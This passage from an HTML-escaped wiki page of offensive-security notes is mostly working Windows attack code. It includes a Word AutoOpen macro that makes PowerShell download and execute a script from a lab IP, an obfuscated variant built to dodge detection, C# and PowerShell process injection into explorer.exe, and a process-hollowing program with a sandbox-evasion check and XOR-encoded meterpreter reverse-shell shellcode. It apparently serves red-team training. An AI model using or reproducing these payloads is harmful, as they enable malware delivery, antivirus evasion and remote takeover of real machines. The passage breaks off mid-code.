   strArg = &amp;quot;powershell -exec bypass -nop -c iex((new-object system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&amp;quot;&lt;br /&gt;
   GetObject(&amp;quot;winmgmts:&amp;quot;).Get(&amp;quot;Win32_Process&amp;quot;).Create strArg, Null, Null, pid&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Obfuscated version of WMI ===&lt;br /&gt;
&lt;br /&gt;
* First we&#039;ll convert the strings using &#039;&#039;ToCharArray. &#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* The code below takes the string inside the $payload and encrypt it. So the string (powershell -exec …) is encrypted, not the content of run.txt).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$payload = &amp;quot;powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&amp;quot;&lt;br /&gt;
[string]$output = &amp;quot;&amp;quot;&lt;br /&gt;
$payload.ToCharArray() | %{&lt;br /&gt;
    [string]$thischar = [byte][char]$_ + 17&lt;br /&gt;
    if($thischar.Length -eq 1)&lt;br /&gt;
    {&lt;br /&gt;
        $thischar = [string]&amp;quot;00&amp;quot; + $thischar&lt;br /&gt;
        $output += $thischar&lt;br /&gt;
    }&lt;br /&gt;
    elseif($thischar.Length -eq 2)&lt;br /&gt;
    {&lt;br /&gt;
        $thischar = [string]&amp;quot;0&amp;quot; + $thischar&lt;br /&gt;
        $output += $thischar&lt;br /&gt;
    }&lt;br /&gt;
    elseif($thischar.Length -eq 3)&lt;br /&gt;
    {&lt;br /&gt;
        $output += $thischar&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
$output | clip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The code below is the decryption routine.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Function Pears(Beets)&lt;br /&gt;
    Pears = Chr(Beets - 17)&lt;br /&gt;
End Function&lt;br /&gt;
Function Strawberries(Grapes)&lt;br /&gt;
    Strawberries = Left(Grapes, 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Almonds(Jelly)&lt;br /&gt;
    Almonds = Right(Jelly, Len(Jelly) - 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Nuts(Milk)&lt;br /&gt;
    Do&lt;br /&gt;
        Oatmilk = Oatmilk + Pears(Strawberries(Milk))&lt;br /&gt;
        Milk = Almonds(Milk)&lt;br /&gt;
    Loop While Len(Milk) &amp;gt; 0&lt;br /&gt;
    Nuts = Oatmilk&lt;br /&gt;
End Function&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* So combined together with &amp;lt;code&amp;gt;Unlinking Powershell from Word&amp;lt;/code&amp;gt; code above, we will get this&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Function Pears(Beets)&lt;br /&gt;
    Pears = Chr(Beets - 17)&lt;br /&gt;
End Function&lt;br /&gt;
Function Strawberries(Grapes)&lt;br /&gt;
    Strawberries = Left(Grapes, 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Almonds(Jelly)&lt;br /&gt;
    Almonds = Right(Jelly, Len(Jelly) - 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Nuts(Milk)&lt;br /&gt;
    Do&lt;br /&gt;
        Oatmilk = Oatmilk + Pears(Strawberries(Milk))&lt;br /&gt;
        Milk = Almonds(Milk)&lt;br /&gt;
    Loop While Len(Milk) &amp;gt; 0&lt;br /&gt;
    Nuts = Oatmilk&lt;br /&gt;
End Function&lt;br /&gt;
Function MyMacro()&lt;br /&gt;
    Dim Apples As String&lt;br /&gt;
    Dim Water As String&lt;br /&gt;
    &#039;powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&lt;br /&gt;
    Apples = &amp;quot;129128136118131132121118125125049062118137118116049115138129114132132049062127128129049062136049121122117117118127049062116049122118137057057127118136062128115123118116133049132138132133118126063127118133063136118115116125122118127133058063117128136127125128114117132133131122127120057056121133133129075064064066074067063066071073063066063066067071064131134127063129132066056058058&amp;quot;&lt;br /&gt;
    Water = Nuts(Apples)&lt;br /&gt;
&#039; GetObject(&amp;quot;winmgmts:&amp;quot;).Get(&amp;quot;Win32_Process&amp;quot;).Create strArg, Null, Null, pid&lt;br /&gt;
            GetObject(Nuts(&amp;quot;136122127126120126133132075&amp;quot;)).Get(Nuts(&amp;quot;104122127068067112097131128116118132132&amp;quot;)).Create Water, Tea, Coffee, Napkin&lt;br /&gt;
End Function&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Process Injection ==&lt;br /&gt;
&lt;br /&gt;
=== Csharp ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // Import necessary functions from kernel32.dll&lt;br /&gt;
        // Opens an existing local process object&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        // Reserves or commits a region of memory within the virtual address space of a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        // Writes data to an area of memory in a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        // Creates a thread that runs in the virtual address space of another process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Obtain a handle to the target process. Remeber to change the process ID(4804)&lt;br /&gt;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, 4804);&lt;br /&gt;
            // Allocate memory in the target process&#039;s address space&lt;br /&gt;
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            // Define the shellcode bytes to inject&lt;br /&gt;
            byte[] buf = new byte[591]&lt;br /&gt;
            {&lt;br /&gt;
                0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,&lt;br /&gt;
                // ... (rest of the shellcode)&lt;br /&gt;
            };&lt;br /&gt;
            // Write the shellcode to the allocated memory in the target process&lt;br /&gt;
            IntPtr outSize;&lt;br /&gt;
            WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);&lt;br /&gt;
            // Create a remote thread in the target process to execute the shellcode&lt;br /&gt;
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Csharp - But automatically get process ID ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // Import necessary functions from kernel32.dll&lt;br /&gt;
        // Opens an existing local process object&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        // Reserves or commits a region of memory within the virtual address space of a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        // Writes data to an area of memory in a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        // Creates a thread that runs in the virtual address space of another process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
	// Automatically obtain process ID&lt;br /&gt;
            Process[] localByName = Process.GetProcessesByName(&amp;quot;explorer&amp;quot;);&lt;br /&gt;
            if (localByName.Length == 0)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;No explorer process found.&amp;quot;);&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            int targetProcessId = localByName[0].Id;&lt;br /&gt;
            // Obtain a handle to the target process&lt;br /&gt;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetProcessId);&lt;br /&gt;
            // Allocate memory in the target process&#039;s address space&lt;br /&gt;
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            // Define the shellcode bytes to inject&lt;br /&gt;
            byte[] buf = new byte[510] {0xfc,0x48,0x83,0xe4,0xf0,0xe8... [Rest of the shellcode]&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
            // Write the shellcode to the allocated memory in the target process&lt;br /&gt;
            IntPtr outSize;&lt;br /&gt;
            WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);&lt;br /&gt;
            // Create a remote thread in the target process to execute the shellcode&lt;br /&gt;
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
    Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {$tmp+=$_}}&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
    [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
    DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
    DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
    [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
$procId = (Get-Process explorer).Id&lt;br /&gt;
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.67 LPORT=443 EXITFUNC=thread -f ps1&lt;br /&gt;
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4...[REST OF SHELLCODE]&lt;br /&gt;
# C#: IntPtr hProcess = OpenProcess(ProcessAccessFlags.All, false, procId);&lt;br /&gt;
$hProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess),&lt;br /&gt;
  (getDelegateType @([UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke(0x001F0FFF, 0, $procId)&lt;br /&gt;
# C#: IntPtr expAddr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)len, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ExecuteReadWrite);&lt;br /&gt;
$expAddr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAllocEx),&lt;br /&gt;
  (getDelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, [UInt32]$buf.Length, 0x3000, 0x40)&lt;br /&gt;
# C#: bool procMemResult = WriteProcessMemory(hProcess, expAddr, buf, len, out bytesWritten);&lt;br /&gt;
$procMemResult = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WriteProcessMemory),&lt;br /&gt;
  (getDelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [IntPtr])([Bool]))).Invoke($hProcess, $expAddr, $buf, [Uint32]$buf.Length, [IntPtr]::Zero)&lt;br /&gt;
# C#: IntPtr threadAddr = CreateRemoteThread(hProcess, IntPtr.Zero, 0, expAddr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateRemoteThread),&lt;br /&gt;
  (getDelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, 0, $expAddr, 0, [IntPtr]::Zero)&lt;br /&gt;
Write-Host &amp;quot;Injected! Check your listener!&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Process Hollowing ==&lt;br /&gt;
&lt;br /&gt;
Process Hollowing is a method used by attackers to inject malicious code into a legitimate process while keeping the process running. This allows the attacker to hide their activities within a trusted process, potentially evading detection.&lt;br /&gt;
&lt;br /&gt;
=== Stageless XOR&#039;d ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace ProcessHollowing&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public const uint CREATE_SUSPENDED = 0x4;&lt;br /&gt;
        public const int PROCESSBASICINFORMATION = 0;&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]&lt;br /&gt;
        public struct ProcessInfo&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public Int32 ProcessId;&lt;br /&gt;
            public Int32 ThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]&lt;br /&gt;
        public struct StartupInfo&lt;br /&gt;
        {&lt;br /&gt;
            public uint cb;&lt;br /&gt;
            public string lpReserved;&lt;br /&gt;
            public string lpDesktop;&lt;br /&gt;
            public string lpTitle;&lt;br /&gt;
            public uint dwX;&lt;br /&gt;
            public uint dwY;&lt;br /&gt;
            public uint dwXSize;&lt;br /&gt;
            public uint dwYSize;&lt;br /&gt;
            public uint dwXCountChars;&lt;br /&gt;
            public uint dwYCountChars;&lt;br /&gt;
            public uint dwFillAttribute;&lt;br /&gt;
            public uint dwFlags;&lt;br /&gt;
            public short wShowWindow;&lt;br /&gt;
            public short cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct ProcessBasicInfo&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr Reserved1;&lt;br /&gt;
            public IntPtr PebAddress;&lt;br /&gt;
            public IntPtr Reserved2;&lt;br /&gt;
            public IntPtr Reserved3;&lt;br /&gt;
            public IntPtr UniquePid;&lt;br /&gt;
            public IntPtr MoreReserved;&lt;br /&gt;
        }&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern void Sleep(uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Ansi)]&lt;br /&gt;
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes,&lt;br /&gt;
            IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,&lt;br /&gt;
            [In] ref StartupInfo lpStartupInfo, out ProcessInfo lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;ntdll.dll&amp;quot;, CallingConvention = CallingConvention.StdCall)]&lt;br /&gt;
        private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass,&lt;br /&gt;
            ref ProcessBasicInfo procInformation, uint ProcInfoLen, ref uint retlen);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer,&lt;br /&gt;
            int dwSize, out IntPtr lpNumberOfbytesRW);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern uint ResumeThread(IntPtr hThread);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // AV evasion: Sleep for 10s and detect if time really passed&lt;br /&gt;
            DateTime t1 = DateTime.Now;&lt;br /&gt;
            Sleep(10000);&lt;br /&gt;
            double deltaT = DateTime.Now.Subtract(t1).TotalSeconds;&lt;br /&gt;
            if (deltaT &amp;lt; 9.5)&lt;br /&gt;
            {&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
            // XORed with key 0xfa&lt;br /&gt;
            byte[] buf = new byte[511] {&lt;br /&gt;
            0x06, ...SHELLCODE HERE&lt;br /&gt;
            };&lt;br /&gt;
            // Start &#039;svchost.exe&#039; in a suspended state&lt;br /&gt;
            StartupInfo sInfo = new StartupInfo();&lt;br /&gt;
            ProcessInfo pInfo = new ProcessInfo();&lt;br /&gt;
            bool cResult = CreateProcess(null, &amp;quot;c:\\windows\\system32\\svchost.exe&amp;quot;, IntPtr.Zero, IntPtr.Zero,&lt;br /&gt;
                false, CREATE_SUSPENDED, IntPtr.Zero, null, ref sInfo, out pInfo);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Started &#039;svchost.exe&#039; in a suspended state with PID {pInfo.ProcessId}. Success: {cResult}.&amp;quot;);&lt;br /&gt;
            // Get Process Environment Block (PEB) memory address of suspended process (offset 0x10 from base image)&lt;br /&gt;
            ProcessBasicInfo pbInfo = new ProcessBasicInfo();&lt;br /&gt;
            uint retLen = new uint();&lt;br /&gt;
            long qResult = ZwQueryInformationProcess(pInfo.hProcess, PROCESSBASICINFORMATION, ref pbInfo, (uint)(IntPtr.Size * 6), ref retLen);&lt;br /&gt;
            IntPtr baseImageAddr = (IntPtr)((Int64)pbInfo.PebAddress + 0x10);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got process information and located PEB address of process at {&amp;quot;0x&amp;quot; + baseImageAddr.ToString(&amp;quot;x&amp;quot;)}. Success: {qResult == 0}.&amp;quot;);&lt;br /&gt;
            // Get entry point of the actual process executable&lt;br /&gt;
            // This one is a bit complicated, because this address differs for each process (due to Address Space Layout Randomization (ASLR))&lt;br /&gt;
            // From the PEB (address we got in last call), we have to do the following:&lt;br /&gt;
            // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing&lt;br /&gt;
            // 2. Read the field &#039;e_lfanew&#039;, 4 bytes at offset 0x3C from executable address to get the offset for the PE header&lt;br /&gt;
            // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset&lt;br /&gt;
            // 4. Read the value at the RVA offset address to get the offset of the executable entrypoint from the executable address&lt;br /&gt;
            // 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success!&lt;br /&gt;
            // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing&lt;br /&gt;
            byte[] procAddr = new byte[0x8];&lt;br /&gt;
            byte[] dataBuf = new byte[0x200];&lt;br /&gt;
            IntPtr bytesRW = new IntPtr();&lt;br /&gt;
            bool result = ReadProcessMemory(pInfo.hProcess, baseImageAddr, procAddr, procAddr.Length, out bytesRW);&lt;br /&gt;
            IntPtr executableAddress = (IntPtr)BitConverter.ToInt64(procAddr, 0);&lt;br /&gt;
            result = ReadProcessMemory(pInfo.hProcess, executableAddress, dataBuf, dataBuf.Length, out bytesRW);&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: Executable base address: {&amp;quot;0x&amp;quot; + executableAddress.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 2. Read the field &#039;e_lfanew&#039;, 4 bytes (UInt32) at offset 0x3C from executable address to get the offset for the PE header&lt;br /&gt;
            uint e_lfanew = BitConverter.ToUInt32(dataBuf, 0x3c);&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: e_lfanew offset: {&amp;quot;0x&amp;quot; + e_lfanew.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset&lt;br /&gt;
            uint rvaOffset = e_lfanew + 0x28;&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: RVA offset: {&amp;quot;0x&amp;quot; + rvaOffset.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 4. Read the 4 bytes (UInt32) at the RVA offset to get the offset of the executable entrypoint from the executable address&lt;br /&gt;
            uint rva = BitConverter.ToUInt32(dataBuf, (int)rvaOffset);&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: RVA value: {&amp;quot;0x&amp;quot; + rva.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success!&lt;br /&gt;
            IntPtr entrypointAddr = (IntPtr)((Int64)executableAddress + rva);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got executable entrypoint address: {&amp;quot;0x&amp;quot; + entrypointAddr.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // Carrying on, decode the XOR payload&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;XOR-decoded payload.&amp;quot;);&lt;br /&gt;
            // Overwrite the memory at the identified address to &#039;hijack&#039; the entrypoint of the executable&lt;br /&gt;
            result = WriteProcessMemory(pInfo.hProcess, entrypointAddr, buf, buf.Length, out bytesRW);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Overwrote entrypoint with payload. Success: {result}.&amp;quot;);&lt;br /&gt;
            // Resume the thread to trigger our payload&lt;br /&gt;
            uint rResult = ResumeThread(pInfo.hThread);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Triggered payload. Success: {rResult == 1}. Check your listener!&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stageless 2 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
//https://github.com/mvelazc0/defcon27_csharp_workshop/tree/master/Labs/lab7&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading;&lt;br /&gt;
&lt;br /&gt;
public class Program&lt;br /&gt;
{&lt;br /&gt;
    const int PROCESS_CREATE_THREAD = 0x0002;&lt;br /&gt;
    const int PROCESS_QUERY_INFORMATION = 0x0400;&lt;br /&gt;
    const int PROCESS_VM_OPERATION = 0x0008;&lt;br /&gt;
    const int PROCESS_VM_WRITE = 0x0020;&lt;br /&gt;
    const int PROCESS_VM_READ = 0x0010;&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-openthread&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    //static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId);&lt;br /&gt;
    static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-suspendthread&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern uint SuspendThread(IntPtr hThread);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-resumethread&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern int ResumeThread(IntPtr hThread);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-zwunmapviewofsection&lt;br /&gt;
    [DllImport(&amp;quot;ntdll.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
    private static extern uint NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);&lt;br /&gt;
&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    //public static extern IntPtr VirtualAllocEx(IntPtr lpHandle,IntPtr lpAddress, IntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);&lt;br /&gt;
